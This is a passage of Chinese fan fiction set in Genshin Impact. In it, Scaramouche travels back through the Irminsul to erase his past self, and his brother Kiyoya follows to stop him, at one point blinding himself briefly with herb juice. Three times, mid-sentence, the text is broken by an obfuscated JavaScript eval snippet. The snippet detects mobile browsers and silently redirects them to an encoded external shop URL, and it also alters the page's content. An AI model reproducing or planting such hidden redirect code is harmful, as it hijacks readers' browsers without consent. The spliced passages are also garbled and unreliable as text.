虽然伤好的快,但月见里清也的右胳膊还是处于一个不能灵活行动的状态,去了估计也帮不上忙。他想了想,最后点点头,同意了这一提议。 纳西妲没有指明他们二个人必须都去,况且进入世界树查东西而已,眼下世界树污染已经被清除,也不会有什么危险。 月见里清也将衣服穿好,对散兵说:“那我等你回来。” “好。”散兵应了下来。 散兵答应月见里清也的事从来没有食言过,不管是大事,还是像今晚吃什么饭这种小事,他以往都是说到做到,唯有这一次例外。 起码在那时,他自己也没有想到他会食言。 世界树内,散兵按照和纳西妲的约定,带着空和派蒙进入世界树查找消息,却不想要找的情报没找着,反而找到了一份有关踏鞴砂的真相。 看着在一旁独自消化情绪的散兵,派蒙悄悄上前,斟酌着开口:“喂,你……你还好吧?” 散兵闻声转头,派蒙被他的眼神吓了一跳,“你的表情好吓人。” “没想到你们会关心我,”散兵却突然一笑,只是笑容里没有一点温度,“要不是因为之前我们发生过的那些事,我差点以为和你们是朋友了。” 空已经习惯他的说话方式了,平静的开口说:“我只是担心发生一些计划之外的事。” “放心,答应你们的事我肯定会完成。”散兵回道,“不过很遗憾,世界树中并没有关于你妹妹的记载。” 但此行也并非没有收获,世界树中不曾记载,散兵倒是知道一些情报。 他将曾经从丑角口中得知的消息提供给空,以此为要求,换取一个他迫切想知道的事。 散兵方才嘴上说着得知踏鞴砂的真相对自己而言没有任何意义,可他知道自己心中是怎么想的。 这份真相迟到了四百年,他和个傻子一样被多托雷整整耍了四百年,把那些曾经对他好的人当做凶手和骗子,却和真正的凶手一同共事了那么久! 真是……真是蠢到极致了。 几百年的时光过去,当时有关的人全都身死魂消,即使他知道了真相又能怎么样,他什么都做不了。 最可笑的是不光是踏鞴砂的人,还有清也…… 月见里清也在杀博士切片那天,走之前留下了一段记忆,那段记忆包含了那场意外的全部经过。 他曾经以为他能够保护好他所珍视的所有人,但最后到头来,他所珍视的人最后都会因自己而受到牵连,最后因自己而死。 或许巴尔泽布做的对,他或许就不该醒来……不,他甚至不该活着。 所以,散兵要向空确认的问题就是:“这个世界上,存在历史被改变的事吗?” 散兵话音刚落,大慈树王的身影瞬间在空的脑海中闪现,就是那一刻的迟疑,已经足够散兵得知答案。 “可以了,”散兵瞬间了然,“我知道答案了。” “哎?怎么了,你们又在说什么啊?”派蒙在空中跺了跺脚,完全不知道他们两个在打什么哑谜。 “没什么,谢谢他帮我的忙而已。”散兵没有解释,不知是不是空和派蒙的错觉,总觉得他语气十分轻快,跟刚才判若两人。 就在说话间,散兵不动声色的往世界树那边走了几步,注意到他这一动作的空猛地反应过来,对着派蒙喊到:“派蒙,必须拦下他!” 两人迅速追上去,然而散兵早有准备,他打了一个响指,一道无形的墙挡在空和派蒙面前,让他们不能再向前一步。 “反应很快嘛,”散兵回头看了他们一眼,脚步未停,“不过没必要了。” 说着继续向前走,离世界树不过咫尺。 “以后我们或许都不会再见面了,”散兵的声音冷静到可怕,“有些‘错误’,从一开始就不该存在,现在,我必须要纠正回来。” “他这话是什么意思?”派蒙焦急看向空,“他该不会是想……” 空紧盯着散兵的背影,沉重的点了点头,“散兵刚才问我,历史能否被改变。” 派蒙急得在空中直打转,“现在怎么办?我们要想个办拦住他!” 看着面前无法打破的屏障,空皱起了眉,电光火石间,他想起一个名字,对着散兵大喊到:“那月见里清也呢?你让你弟弟怎么办!” “对啊,你冷静一点!”派蒙也反应过来,冲散兵喊道,“月见里清也什么都不知道,你打算就这么不辞而别吗?!” 提到月见里清也,散兵脚步猛地一顿,整个人僵在原地。 他想起自己出门时月见里清也那句“等你回来”,月见里清也还在等着自己回去,但是他注定要失约了。 月见里清也曾经说过,从来不后悔跟着自己。 可是这份不后悔的代价太大了。 倘若没有他,月见里清也就不会跟着自己冒死去关停御影炉心;就不会在那个雨夜坠下山崖,被那个山村里的人捡到经历那些不堪;也就不会被博士注意到,被硬生生掏出核心…… 也就不会卷入须弥这一滩浑水之中,不会满身是伤的躺在血泊中奄奄一息。 散兵缓缓低头,看着自己的双手,掌心里仿佛还残留着鲜血的温度,“就像踏鞴砂那些人一样,他们本该拥有更好的生活。” 他闭上眼,想起那个总是跟在他身后,无条件信任着他的身影,五百年所经历的点点滴滴在他眼前一一浮现,那是他为数不多的,可以被称为“快乐”的时光。 这份羁绊太过珍贵,珍贵到让散兵舍不得放手,可正是为了他心中所牵挂的人,他不得不放手。 散兵重新睁开眼,目光重新变得坚定,“没有我,他会活的更好。” 说完他毅然决然的踏入世界树,身影迅速消失在空和派蒙眼前。 月见里清也曾在连接世界树时看到了被烧毁又重生的世界树,在时间的维度之下,过去、现在和未来可以同时存在。 那么,他理应可以通过世界树回到过去,回到那些尚未发生的时候,亲手纠正这一切。而想要阻止这一切的发生,最一劳永逸的方法就是在自己降生的那一刻杀死自己。 随着散兵的身影彻底融入世界树,那道无形屏障也消失的无影无踪。偌大的空间里只剩下空和派蒙,他们二人没有权限,无法探查散兵究竟去了哪里。 就在二人一筹莫展之际,一道黑影悄无声息的从阴影中窜出,轻盈地落在二人面前, “哇啊,什、什么东西?,”派蒙被吓了一跳,立刻躲到空背后。 那个黑影停了下来,姿态优雅地坐下,尾巴搭在爪子旁边,歪头看打量着面前的二人。 “没事,派蒙,是一只小猫。”空安抚道,他注意到小猫嘴里叼着一个东西,散发着微光,他试探的摊开手掌,伸到小猫面前,“是要给我的吗?” 小猫站起身子,向前走了一步,将口中的东西放在空的手里,在空收回手之前,它轻轻的将爪子搭在空的手上。 几乎同时,一个意识自空脑海中浮现,与方才散兵问他话的方式一模一样。 『带着这个东西,去找月见里清也。』 空心中一惊,难以置信的看向面前的小猫,“你在跟我说话?” 小猫没有回应,只是收回爪子,仿佛刚才的一切与它无关,无辜地眨了眨那双眼睛,“喵。” “又……又怎么了?”派蒙看着空愣住的模样,紧张的问道,“先不说你刚为什么在跟一只猫说话,世界树里怎么会有一只猫啊……” 倘若月见里清也在这,肯定能认出来这只小猫就是陪伴自己连接世界树的小煤球,它趁着趁着二人不注意,忽然转头冲着世界树跑去,只短短几秒,就跟散兵一样消失的无影无踪。 派蒙惊呼道:“它……它也不见了。” 眼下发生的事太多,在与纳西妲紧急商谈过后,空手中紧握着那枚装置,他们只能去找月见里清也了。 跃入世界树后,小煤球目的明确,顺着散兵穿越时空留下的痕迹,跟着他一同来到四百年前的神无冢。 只是小煤球与散兵的方向完全相反,它头也不回的向着踏鞴砂跑去,散兵则来到了借景之馆。 他没忘记是自己在借景之馆唤醒的月见里清也,倘若在那之前将自己抹杀,恐怕月见里清也再也没有醒来的机会了。 他要抹除的是自己这个“错误”的存在,而不是带着月见里清也一块死。 如果选的时间节点没有问题,这个时候四百年前的自己应该已经唤醒了月见里清也,而踏鞴砂的人还没有发现这里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558434|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而看着借景之馆大门前崩塌的碎石,散兵心下一沉。 巴尔泽布为借景之馆设下了封印,加上长时间无人造访这里,经年累月的落石几乎将借景之馆的大门彻底掩埋,直到四百年前的一场地震将它们震碎,才将大门露了出来,最后被桂木发现。 眼下的景象无疑昭示着大门已经被人打开,他要想找幼时的自己,恐怕只能前往踏鞴砂了。 散兵抿了抿唇,半晌后,他缓缓吐出一口气。 他选择在借景之馆动手不光因为便捷,更重要的是不用见到那些故人们,可现在,他不得不见了。 被自己淡忘的故乡,那些被自己抹黑的家人,时至今日,我还有资格回去吗? 散兵不知道,也没有人来为他解答这个问题,但无论如何,他已经没有退路了,只能继续走下去。 在四百年前,散兵并不叫散兵,月见里清也也不叫月见里清也,他们只是两个没有名字,什么都不懂,什么都不会,被人从借景之馆带回踏鞴砂的两个人偶。 就连串联彼此生命中最关键的“家人”身份,都是在踏鞴砂知道的。 但当时他们还不知道这个词对他们而言有多么重的意义。 散兵记得,那时的他们被踏鞴砂大家的称为“倾奇者”,可渐渐的,大家在称呼他们二人的问题上很是为难。于是,大家开始主张为他们起名一事。 最后由丹羽敲定,给散兵定了“凪”这个字,月见里清也则是“清”,没有姓氏,大家便以“阿凪”和“阿清”称呼他们。 当然,现在的他们还并没有起名字,在大家眼里,他们只是两个刚被桂木带回来没多久,没有名字的少年而已。 就在散兵离开借景之馆时,幼时的月见里清也,也就是后来的阿清,在路上被一只小猫给碰瓷了。 小煤球先是在他脚边绕来绕去,见阿清低头看着自己,顺势躺在他的脚上,赖着不走了。 阿清见状蹲下身,轻轻挠了挠它的下巴,带着笑意问:“你是谁家的小猫啊?” 小煤球“喵”了一声,突然跳进阿清怀里,堂而皇之地把他的怀抱当成猫窝。 阿清身体僵了一瞬,像是不知道怎么处置这个跳进他怀里的小猫,只能不知所措地抱着它,“你没主人吗?” 小煤球没说话,只甩了甩尾巴。 “那……你能不能从我身上下来?”阿清试着和小猫商量。 小煤球依旧没理他,也没有丝毫挪地的意思。 阿清:…… 他无奈地看着小煤球,一人偶一猫就这么面对面大眼瞪小眼,直到最后阿清绞尽脑汁憋出来一句,“那我养你?” 小煤球:“喵。” “哎?等等,你这不会是同意了吧?”阿清看上去更无措了,“可是,这事好像我不能自己做决定。” 好像……要找哥哥商量一下? “哥哥”这个词还是来了踏鞴砂之后,丹羽教给他的,在此之前,阿清一直都不知道该如何称呼这位唤醒自己的同类。 但问题是,他好像并不知道自己的哥哥去哪了…… 他抱着小煤球,拦住一个过路人,怯生生地问:“您好,您见过我哥哥吗?” “你哥哥?”对方打量他片刻,恍然大悟,“你说跟在丹羽大人身边的孩子啊,见过,你往那边走就能看见他。” 那人说人指了一个方向,阿清顿时松了口一气,道过谢就快步向那边走去。 幼时的散兵,也就是还没起名的阿凪,此时刚从丹羽那里回来,路过一片树林时,在路边看到了个熟悉的身影。 “哥,”阿清从树后探出脑袋,“我好像被一只猫碰瓷了。” 阿凪迷茫地转过头,“你说什么?被什么碰瓷了?” 他怎么听不懂这话呢? “被它。”阿清说着把罪魁祸首往前递了递,简单地把当时的情况说了一遍。 阿凪听着弟弟有些凌乱的叙述,不由得笑出声:“如果不想养,放下它不就好了?” 他说着轻轻戳了戳弟弟的额头,“说白了,是你自己舍不得。” 阿清眨了眨眼,好像确实是这么回事,“那我可以养它吗?” “可以是可以,”阿凪点头,语气温和却认真,“但你要负责照顾好它。如果做不到,就不要养它。” “我知道的。”阿清郑重地保证。 “嗯……”阿凪不知道在想什么,随后对阿清说,“你先回家,我还有些事,晚些回去。” 望着弟弟抱着小猫欢快的背影,阿凪脸上的笑意渐渐收敛,他转向身后茂密的树林,声音依然平和,却带着一份冷意:“阁下还打算藏到什么时候,我和弟弟之间的琐事也没什么看头吧?” 见曾经的自己点破,散兵索性不再隐藏自己的身形,压低斗笠,自藏身的树后走出。 90.那些尘封的过去(其二) “所以,你是未来的我?”阿凪看着散兵晦暗不明的眼神,嘴角牵起一抹笑容,这笑容看不出笑意,反而像为了缓解气氛刻意的笑容。 “我猜未来一定不如意吧,不然你不会选择回到现在。”阿凪轻声追问,“我说的对吗?” “不如意?”散兵重复着这个词,好像听见了什么荒谬可笑的笑话,扯出一抹自嘲的笑容,“不是世上所有不好的事,都可以用‘不如意’来形容的。” 他看着曾经的自己,这时的阿凪从未经历过欺骗与背叛,仍然天真的相信着这世界上所有人,哪里会懂自己经历了什么呢? 阿凪读不懂散兵复杂的眼神,不理解其中包含的情绪。自方才初见的第一眼开始,自己就提出带他回踏鞴砂坐坐,别的不说,阿清一定对这个来自未来的哥哥感兴趣。 然而这一提议被对方毫不犹豫地拒绝,散兵并未说明是什么原因,但阿凪看得出来,他在抗拒踏鞴砂,抗拒见到那些对他而言十分熟悉的人。 一个来自未来的人,不惜一切回到过去,却不愿见任何故人,反而一路尾随自己来到这片树林…… 阿凪的心沉了下去,虽然自己才刚接触外界没有多长时间,但已经隐隐约约猜到了这位来自未来的“自己”心中作何打算。 “你既然来找我,恐怕不是为了叙旧吧。”阿凪视线望向阿清离去的方向,随后重新看向散兵,“在此之前,你不打算和我说说,关于他的‘未来’吗?” 倘若他的目的是自己,他又会怎么安排不谙世事的阿清? 但一提及阿清,散兵的身体微不可察的一僵,下意识侧过头,避开阿凪探究的目光,沉默片刻后说:“他会过得比现在好。” 可阿凪却从他短暂的沉默中得到了答案,“看来你们并没有达成共识,你是背着他来的。” 散兵的神色越发阴沉,可阿凪却丝毫不惧,坦然地迎上他的目光,“我只是没想到,未来的我竟然不光选择了逃避,还亲手抛弃了自己唯一的弟弟。” “逃避……抛弃……”散兵默念着这两个词,忽然笑起来,语气骤然变得狠厉,“你懂什么!” “你以为在未来我们会得到幸福吗?”他拽着阿凪的衣领,将人狠狠掼到树干上,“你现在将踏鞴砂的众人视为家人,可他们最终会因为你而含冤而死,告诉我,这就是你报答他们的方式?!” “至于清也……”提到这个名字,散兵的声音仿佛被一只无形的手给扼住,瞬间失了声,“……要不是因为我,他就不会承受那些他不本该承受的痛苦,更不会满身是血躺在我的面前!” 散兵亲手将包裹在“未来”二字之外的虚假糖衣撕碎,露出里面血淋淋的真实,他看着阿凪,冷声说:“这就是你渴望的未来,一个由虚假、算计和利益共同编织的骗局。” 随着散兵的话语,那些画面仿佛能在阿凪眼前浮现,他深吸一口气,看向散兵的眼神中混杂着恐惧和悲伤,但又异常的清醒。 “所以,”阿凪的声音很轻,但落在散兵的心上却有千钧重,“你认为只要‘我们’从未存在,他们就能得救?” “这是唯一的方法,”散兵的声中透着疲惫,仿佛这句话已经重复过千百遍,也不知道是在说给阿凪听,还是说给自己听,“错误,必须从源头纠正。” 对于刚刚接触这个世界的阿凪而言,好像世间所有人都像踏鞴砂的大家一般,包容又善良,他尚未学会洞察那些潜藏在阳光下的阴影,也无法想象前路的坎坷与绝望。 可散兵不同,他要比自己强大,比自己更了解这个世界,如果不是山穷水尽,谁又会如此决绝的走向毁灭? “如果这就是你拯救他们的唯一答案,”阿凪低下目光,看向自己干净的手掌,此时双手还未曾沾染过罪孽与鲜血,片刻后,他抬眸看向散兵,“那么,动手吧。” 散兵看这个眼前仿佛接受命运,心甘情愿赴死的自己,手中雷光闪烁,过去的自己太过脆弱,也不会反抗,他只要轻轻一动,就能彻底结束这一切。 可不知道为什么,在这最后的时刻他迟疑了。 但很快,散兵闭上眼,颤抖着举起手,狂暴的雷元素力在掌心汇聚,刺眼的光芒照亮了他脸上无声滑落的水痕。随后,树林重归寂静,阿凪的身影在散兵面前一点点消散,就像燃烧后的灰烬,风一吹,便什么都剩不下了。 空旷的树林杳无人烟,这件事除了散兵自己,不会有第三个人知道,散兵是这么想的,现实也该是这样的。 只是凡事都有意外,他和阿凪谁也没想到,那个抱着小猫已经离去的少年,会在此刻去而复返。 阿清原本是想倒回头去跟他哥说自己给小猫起的名字,却不想正正好好撞上散兵抹除阿凪的这一幕。 他躲在远处灌木后,死死捂住自己的嘴,指甲深深掐进皮肉,压制住那几乎要破口而出的尖叫与哭喊。 他知道自己不应该出去。 那个陌生人身上的力量如此恐怖,如果自己贸然冲出去,恐怕只有死亡的下场,不会改变任何结果。 回想起方才的一幕幕,哥哥在临死之前没有任何反抗,虽然二人实力悬殊,但他方才的模样分明是自愿让对方杀死自己的。 为什么? 阿清想不通,震惊、恐惧和悲伤,这些情绪混杂在一起,像潮水一样淹没了他,泪水模糊了视线,但他死死咬着下唇,血腥味在嘴中弥漫开来。 “好了,你已经做的足够好了,”这时一道声音突然从阿清耳边传来,一双无形的手抹去他脸上的泪水,捂住他的眼睛,挡住了那些他不该看到的画面,“别看了。” 他感觉到一股暖流涌入体内,那个陌生又很熟悉的声音在他脑海中响起,“剩下的交给我。” 接着阿清眼前一黑,什么都不知道了。 他缓缓吐出一口气,将心中的悲愤尽数压下,等再次睁眼时,锐利的目光中含着怒火,再也不见方才的惊恐和绝望。 小煤球像是察觉到了什么,兴奋地在他手边绕来绕去。 “好久不见,你托空带给我的装置就是做这个用的?”月见里清也抬手揉了两把小猫头,“多亏你了。” 小煤球歪头看他片刻,好像有些迟疑,不过最后它还是的“喵”了一声,好像在肯定月见里清也的话。 时隔多日,月见里清也和小动物交流的水平依旧没有任何提升,他抬眸望向不远处的散兵,意味不明的哼笑一声,“你说,我该怎么跟他算这笔账呢?” 月见里清也本以为今天是普通的不能再普通的一天,他只需要和往常一样等着散兵回来就好,却没想到等到的是一脸焦急的空和派蒙。 见回来的人中没有自己的哥哥,月见里清也眼皮一跳,皱眉问:“我哥哥呢?” 空和派蒙的焦急神色染上了一份心虚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570034|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派蒙开口:“那个……月见里清也,你先别着急。” 这句没头没尾的安慰反而适得其反,让月见里清也更加心急,他几乎是立刻追问:“二位,无论情况怎样糟糕我都可以承受,我只是想知道,斯卡拉姆齐人在哪里?” 此时,他最坏的预想无非是散兵受伤或者被草神关押起来。 却没想到从空口中得知的是散兵冲进世界树,回到过去抹杀自己,试图改变历史的消息。 得知消息的一瞬间,月见里清也的神经像是被人狠狠地敲了一下,耳中嗡鸣一片。空和派蒙好像还对他说了什么,但月见里清也什么都听不见,脑中一片空白,整个人仿佛被时间遗忘,呆呆的愣在那里,不知所措。 那一刻,月见里清也真的希望自己听不懂话,或是下一秒睁眼时发现自己躺在床上,方才的一切不过是一场噩梦。 可他睁开眼,眼前依旧站着空和派蒙,这一切依旧是现实,而他哥哥真的不见了。 “月见里清也?”派蒙见他久久没有回应,担忧地叫了他一声,“你听见我们方才说什么了吗?” “嗯?”月见里清也下意识回应,一种前所未有的疲惫感袭来,思维一片混乱,抬手撑住门框,指尖因过于用力而泛白,“抱歉二位,你们让我静一会。” 他知道自己不应该再浪费时间了,可散兵通过世界树回到过去,他们中间隔着几百年的时光,月见里清也就算想找他都没有办法,他这是第一次对一件事如此无力。 等等……好像并不是没有办法。 连接过世界树的不止散兵一人,只要他能够再次进入世界树,就能追查到散兵的踪迹将他带回来。 空看着月见里清也的神色几经变换,想起他们兄弟兄弟两个人都曾连接过世界树,心里有种不好的预感,“你想干什么?” 月见里清也重新直起身子,“当然是,从世界树里带我哥回来。” 这下就算是派蒙,也知道他打算干什么了,二人连忙拉住已经向外走的月见里清也,“怎么一个两个都跳树啊,世界树又不是什么旅游景点,冷静一下啊!” 月见里清也猛地一扯手臂,把拽着他衣服振袖的派蒙带得在空中翻了个跟头,冷声道:“事到如今,不如二位教教我该怎么冷静?” “事情或许还有转机。”空语气极为认真,拿出了小煤球交给他的装置,“在世界树里,有人……或者说是一只猫,托我将这个带给你。” “世界树”、“小猫”这两个词一下子就把月见里清也钉在了原地。 在拿到装置时,月见里清也和他们一样,都不知道这个发着微光的小物品是干什么用的。 直到通过它穿越到四百年前自己的身上,亲眼目睹了散兵亲手抹除自己的场面。 月见里清也在身上摸了摸,在过去的自己身上找到了一块一模一样的装置,他拿着装置在小煤球眼前晃了晃,“你放进去的?” 小煤球则用头拱了拱他的手,示意他将装置收好。 月见里清也收好装置,这时散兵终于有了下一步动作,他没有离开踏鞴砂,反而一步步向着曾经的住所而去。 看着散兵离去的背影,月见里清也抱着小煤球从藏身之处起身,对着它说:“打个赌吗?我猜他的下一步计划肯定是去找我了。” 当然,找的并不是四百年后的月见里清也,而是刚来到踏鞴砂不久的阿清。 91.易碎的月光 从这片树林到他们在踏鞴砂住的小屋不远,可散兵不愿和故人碰面,多绕了点路,自然是赶不上抄近路回去的月见里清也。 月见里清也将怀里的小煤球放在床上,目光扫过屋里的陈设,屋子里并没有什么特别贵重的东西,不过是些常见又朴素的家具,可这些东西对月见里清也来说,有种遥远又熟悉的亲切感。 只可惜现在没有那没多时间让他感叹,虽然他成功回到了四百年前,但一个更难以解决的困境也迫在眉睫。 散兵亲手抹去了过去的自己,倘若世界树真的以这个结果进行修正,这也就意味着来自未来的散兵也无法存活,否则这就是个因果悖论。 想要带着他哥这个犟种回去,就必须找到填补散兵因抹除而出现的历史空白的方法。 但这谈何容易,月见里清也头疼的捏了捏自己的眉心,试图将自己混乱的思绪理顺,“啧,你还真是会给我出难题啊。” 这时小煤球静悄悄的从床边跳到一旁的矮柜上,没发出一点动静,见月见里清也一副困扰的样子,没忍住伸出爪子扒了扒月见里清也的衣袖。 月见里清也俯下身去与小煤球平视,难得和它无障碍沟通了一次,从身上摸出那块装置,递到小煤球面前,“你叫我来肯定不是目睹这一切的发生,不如告诉我这东西还有什么用处?你知道的,我的悟性一向不好,给我个提示?” 月见里清也指的是第一次从世界树中询问问题,结果没找对方法,被小煤球嫌弃的事。 他这副礼贤下士的模样小煤球很受用,闻言甩了甩尾巴,将爪子轻轻按在装置上。 装置上的微光开始向外扩散,缓缓地在月见里清也面前勾勒出几行字: 【这是一条为了防止某个笨蛋不会用刻印之匣所以留下的使用说明:】 月见里清也看着这行文字挑了挑眉,尽管有被冒犯到,但还是得承认制作者很有先见之明。 他个人倾向于这条文本是制作者一开始就设计好的,不是眼前只会“喵喵喵”的小煤球在骂他。 【第一:刻印之匣激活后,会为使用者的意识作为数据,提供三次数据转移,会在每天的十二点冷却重置,记得自己看时间。】 【第二:刻印之匣可以复制目标对象的数据,理论上来说,这种复制是思维上的,可以将一个人的记忆在瞬间完成备份。】 【第三:这也是最重要的一条,刻印之匣拥有一条保命手段,可以无视各种因素,为持有者提供一次“迁移”的机会。你可以将它理解成不受任何因素影响的传送功能,不过我希望你用不到这个功能。】 月见里清也目光飞快地扫过这三条使用说明,第一条解释了他为什么能够从四百年后的须弥回到现在,暂时对眼下情况没有帮助,只能寄希望于剩下的二三条。 月见里清也看着第二条使用说明,看看小煤球,若有所思道:“你说,如果用刻印之匣的第二条功能,利用斯卡拉的记忆做一份‘备份数据’,投放一个虚假的‘阿凪’,能够骗过世界树吗?” 小煤球没有回答他,月见里清也无所谓地笑了笑,手指一动,刻印之匣在他指尖转了一圈,那些由微光构成的使用说明也随之消失不见。 “死马当活马医总好过没有办法,是不是?”月见里清也说着揉了揉小煤球的头,他直起身看向屋内的钟表。 现在是下午四点,刻印之匣到晚上十二点才冷却完成。也就是说,接下来散兵不管想干什么,他都得想尽办法,将一切拖延至午夜。 月见里清也将装置收了起来,直起身走到镜子前,镜子中映出的人影身穿着白色水干,绀色长发此时才将将长过肩膀,除去这些外,眉眼轮廓都与四百年后的自己没有区别。 很像他,但是又不是他。 半长的发丝散在身后,月见里清也记得小时候自己扎头发的技术并不熟练,所以有段时间就任由它们散在身后。 他垂眸看着桌上的蓝色发带,想了想,还是将头发全都拢起,束成一个简单的马尾。只不过扎好后他又随手扯下几缕头发,让这个马尾看上去松松垮垮的,说随性也行,说凌乱也不算假话。 做完这一切,他试着对着自己模仿记忆中自己的那副天真无知的笑容。 几秒钟后,月见里清也忍不住抬手捂住了脸,无奈地说:“太傻了吧……” ……让一个活了将近五百年的“老人”,装出一副天真烂漫的样子着实有点难为人了。 “不幸中的万幸,”月见里清也叹了口气,自言自语的嘀咕道,“还好我小时候不是什么活泼开朗的性格。” 甚至与之相反,他小时候因不知道该怎么和他人交流,有的时候甚至不能正确表达心中想法,所以不会与旁人搭话,看起来格外内敛。 小煤球盯着他自言自语的嘀咕半天,不知道他在忙什么,忍不住替他心急,拖长调子“喵——”了一声。 “嘘。”月见里清也竖起一根手指抵在唇边,对着小煤球狡黠的眨了眨眼睛,“他快到了,小点声别被他发现。” 这个“他”指的是谁几乎不言而喻,月见里清也不慌不忙地打开一旁橱柜,如果他的记忆没出错,这个地方是放药材的。 果不其然,柜子里放着些鸣草和天云草实,月见里清也直接将它们拿了出来,看也不看就扔进碗里,动作利落地将其捣碎。 小煤球跃上桌子,有些好奇的凑过去闻了闻碗里那团看上去黏糊糊的黑紫色混合物。月见里清也见状,坏心眼的往前一递,“要吃吗?” 小煤球瞬间扭头就走,走之前还不忘抬起爪子刨了几下空气,看起来像是想给碗里紫乎乎的东西埋起来,嫌弃之情溢于言表。 “我也嫌弃这东西,”月见里清也将碗收回来,不由得想起散兵曾经给他煮过的药,面露嫌弃,“尤其是在我刚失明过一次的情况下……嗯?” 他说话声音一顿,四周安静下来后,一阵刻意放轻的脚步声由远及近。 月见里清也嘴角一勾,“来的正好。” 他说着伸手沾了沾那些深紫色的汁液,毫不犹豫地往自己眼睛抹去。 一阵刺痛袭来,月见里清也下意识闭紧眼睛,可汁水早已渗进眼中,两种植物蕴含的微弱雷元素进入眼中所带来的灼烧感让月见里清也闷哼出声。 他试着睁眼,眼前却只有一片模糊扭曲的轮廓和闪烁着的紫色电弧。 月见里清也对这种情况熟悉的不能再熟悉了,毕竟前不久自己刚因为接触过量元素短暂失明。但这种草本植物引发的视线模糊很快就能好,他只不过需要一个欺骗散兵的理由罢了。 他心里清楚,散兵来到这并不是要杀了四百年前的自己,恐怕是来带自己离开踏鞴砂的。 月见里清也不能如散兵的愿,只能给他找点事做了。 他知道自己的哥哥很聪明,让自己短暂失明是他能够想到的,最有效的方式。毕竟自己瞎了,也就分不清来人到底是阿凪还是散兵,能够极大程度上安散兵的心。 想到这,月见里清也心里算着时间,就在脚步声接近门口的一瞬间,他抬手将桌上的碗扫落在地。 “啪嚓!” 瓷片碎裂的响声在寂静的屋内炸开。 几乎是同时,门外那刻意收敛的脚步声一顿,随即加快步伐,迅速推门进屋。 推门声响起的一瞬间,月见里清也迅速将自己沉浸在“阿清”这个角色里,他伸手捂着一只眼,顺着声音抬头望去,一副被吓到的模样,“……谁?” 散兵的目光在触及到“阿清”的有些涣散眼睛时骤然一愣,几乎是瞬间,散兵想起了降神工坊里,给月见里清也上药时,那双空洞无光,连看哪里都不知道的眼睛。 他几步就走到阿清面前,俯下身一把拉开阿清挡住眼睛的手,急切道:“你眼睛怎么回事?!” “哥哥?”阿清顺着声音微微偏头,这副茫然寻找的模样,和散兵给他降神工坊上药时做的动作一模一样,刺的散兵心头一痛。 他抿了抿唇,应了一声,“是我。” 得到肯定的回答,阿清松了口气,接着他想起散兵之前的质问,犹豫了一会,有点不好意思的垂下头,“我本来是想做饭的,但是不小心把汁水弄进眼睛里了。” 散兵的视线扫过地上的一片狼藉,勉强的辨认出了瓷片上残留的那些东西是天云草实和鸣草,下意识刻薄了一句,“用天云草实和鸣草做饭,你想毒死谁?” 阿清闻言一皱眉,不解道:“你为什么要这么说?” 啧……坏了。 散兵心下一沉,他忘了这是心思单纯的阿清,不是能和他拌嘴的月见里清也。 但很快他就调整好状态,试着以阿凪那种比较温和的语气说:“因为这两种是药材,不能当做饭的食材。” 不是什么严重的意外,散兵悬着的心悄然落地,他半扶着阿清起身,让他坐下,自己转身去找了一块干净的帕子打湿,耐心的给他擦着眼周。 “那……小猫也不可以吃吗?”阿清说着,感受着湿润的布料触及自己的眼角,下意识旁边躲了躲,“好痒。” 一旁在床上躺得好好得小煤球听见了,直接一激灵从床上弹起来,瞪大眼睛望向阿清。 第一次从猫身上读出“不可置信”神情的散兵:“……” 他以前怎么没发现,自己弟弟还有这么语出惊人死不休的本事。 “……不能吃。”散兵叹了口气,“你别躲。” 等把那些汁水全都擦干净,散兵这才问:“能看清东西了吗?” 阿清眨了眨眼,有些迷茫的摇了摇头。 散兵眉头一皱,按道理来说,鸣草和天云草实这种草本植物里面蕴含的雷元素微乎其微,应该不存在接触后会让人长时间失明的现象才对。 他并不觉得自己弟弟会骗自己,可为什么他的视力还没有好? 阿清本来就单纯,别看未来的月见里清也特别机敏,小时候他学什么东西都要慢一些,眼下这种情况,他要如何在外面自保? 散兵知道自己不该再拖延时间了,世界树的修正随时会降临,倘若他不能在消散前将阿清带走,放任他继续留在踏鞴砂里,阿清一样逃不过博士的魔爪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584934|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不该犹豫的,可对上阿清,散兵就忍不住思考阿清离开自己要怎么活下去,忍不住为阿清筹谋更好的未来。 可是散兵心里十分清楚,这世上不会有十全十美的事,他必须狠下心来。散兵闭了闭眼,手上浮现出微弱的电弧。 而这一切都被月见里清也看在眼里,他歪了歪头,学着阿清的样子,笑着对散兵说了一句:“哥哥,今天什么时候吃饭?我可以帮你打下手。” 月见里清也从不认为在散兵面前拖延时间是一件很困难的事,他太清楚他哥的软肋是什么了。 